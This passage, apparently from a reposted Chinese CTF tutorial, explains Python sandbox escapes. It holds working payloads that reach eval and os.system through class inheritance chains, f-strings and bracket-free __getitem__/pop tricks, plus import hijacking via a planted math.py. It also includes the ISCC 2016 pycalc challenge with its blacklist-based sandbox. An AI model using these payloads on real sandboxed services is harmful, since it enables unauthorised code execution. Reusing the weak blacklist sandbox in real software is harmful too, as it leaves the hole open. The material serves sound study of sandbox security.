还可以这样利用:
- class test(dict):
- def __init__(self):
- print(super(test, self).keys.__class__.__call__(eval, '1+1'))
- # 如果是 3.x 的话可以简写为:
- # super().keys.__class__.__call__(eval, '1+1'))
- test()
上面的这些利用方式总结起来就是通过__class__、__mro__、__subclasses__、__bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval。
最后,继承链的逃逸还有一些利用第三方库的方式,比如 jinja2,这类利用方式应该是叫 SSTI,可以看这个:传送门,这里就不多说了。
二、文件读写
2.x 有个内建的 file:
- >>> file('key').read()
- 'Macr0phag3n'
- >>> file('key', 'w').write('Macr0phag3')
- >>> file('key').read()
- 'Macr0phag3'
还有个 open,2.x 与 3.x 通用。
还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。
为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:
math.py:
- import os
- print(os.system('whoami'))
调用
- >>> import math
- macr0phag3
- 0
这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re:
- >>> 're' in sys.modules
- True
- >>> 'math' in sys.modules
- False
- >>>
当然在import re 之前del sys.modules['re']也不是不可以…
最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。
读文件暂时没什么发现特别的地方。
剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:
- >>> __builtins__.open('key').read()
- 'Macr0phag3n'
或者
- >>> ().__class__.__base__.__subclasses__()[40]('key').read()
- 'Macr0phag3'
三、其他
过滤[、]:这个行为不像是 oj 会做得出来的,ctf 倒是有可能出现。应对的方式就是将[]的功能用pop 、__getitem__代替(实际上a[0]就是在内部调用了a.__getitem__(0) ):
- >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
- 'macr0phag3n'
利用新特性:PEP 498 引入了 f-string,在 3.6 开始出现:传送门,食用方式:传送门。所以我们就有了一种船新的利用方式:
- >>> f'{__import__("os").system("whoami")}'
- macr0phag3
- '0'
关注每次版本增加的新特性,或许能淘到点宝贝。
序列化相关:序列化也是能用来逃逸,但是关于序列化的安全问题还挺多的,如果有时间我再写一篇文章来讨论好了。
四、栗子
这个例子来自iscc 2016的Pwn300 pycalc,相当有趣:
- #!/usr/bin/env python2
- # -*- coding:utf-8 -*-
-
- def banner():
- print "============================================="
- print " Simple calculator implemented by python "
- print "============================================="
- return
-
- def getexp():
- return raw_input(">>> ")
-
- def _hook_import_(name, *args, **kwargs):
- module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
- 'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
- 'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
- 'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
- 'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
- 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
- 'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
- 'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
- 'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
- 'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
- 'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
- 'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
- 'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
- for forbid in module_blacklist:
- if name == forbid: # don't let user import these modules
- raise RuntimeError('No you can' import {0}!!!'.format(forbid))
- # normal modules can be imported
- return __import__(name, *args, **kwargs)
-
- def sandbox_filter(command):
- blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
- '=', 'open', 'read', 'sys', ';', 'os']
- for forbid in blacklist:
- if forbid in command:
- return 0
- return 1
-
- def sandbox_exec(command): # sandbox user input
- result = 0
- __sandboxed_builtins__ = dict(__builtins__.__dict__)
- __sandboxed_builtins__['__import__'] = _hook_import_ # hook import
- del __sandboxed_builtins__['open']
- _global = {
- '__builtins__': __sandboxed_builtins__
- }
- if sandbox_filter(command) == 0:
- print 'Malicious user input detected!!!'
- exit(0)
- command = 'result = ' + command
- try:
- exec command in _global # do calculate in a sandboxed environment
- except Exception, e:
- print e
- return 0
- result = _global['result'] # extract the result
- return result
-
- banner()
- while 1:
- command = getexp()
- print sandbox_exec(command)
(编辑:晋中站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|